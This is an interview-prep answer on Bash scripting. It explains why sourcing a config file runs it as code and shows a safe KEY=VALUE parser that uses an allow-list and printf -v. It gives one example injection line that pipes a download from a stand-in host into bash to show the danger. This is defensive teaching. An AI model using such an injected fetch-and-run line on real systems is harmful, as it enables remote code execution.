Interview Prep/Shell Scripting/Arguments, I/O, here-docs, process substitution and subshells

What is the difference between `source`-ing a config file and parsing it?

AdvancedConceptArguments, I/O, here-docs, process substitution and subshells
Answer

source app.conf executes the file as Bash. Anyone who can write it can run code as the script's user, often root (DB_HOST=x; curl evil.sh | bash). Sourcing is fine for files only root can write (check owner and mode). For anything else, parse KEY=VALUE lines with an allow-list:

while IFS='=' read -r key value; do
  [[ $key =~ ^[A-Z_][A-Z0-9_]*$ ]] || continue
  [[ $key == APP_* ]] || continue        # only our namespace
  printf -v "$key" '%s' "$value"         # assigns without evaluating
done < /etc/app/app.conf

printf -v assigns the literal value, so $(...) in the file stays text.

All Shell Scripting questions Roadmap: Shell scripting (Bash)

More on Arguments, I/O, here-docs, process substitution and subshells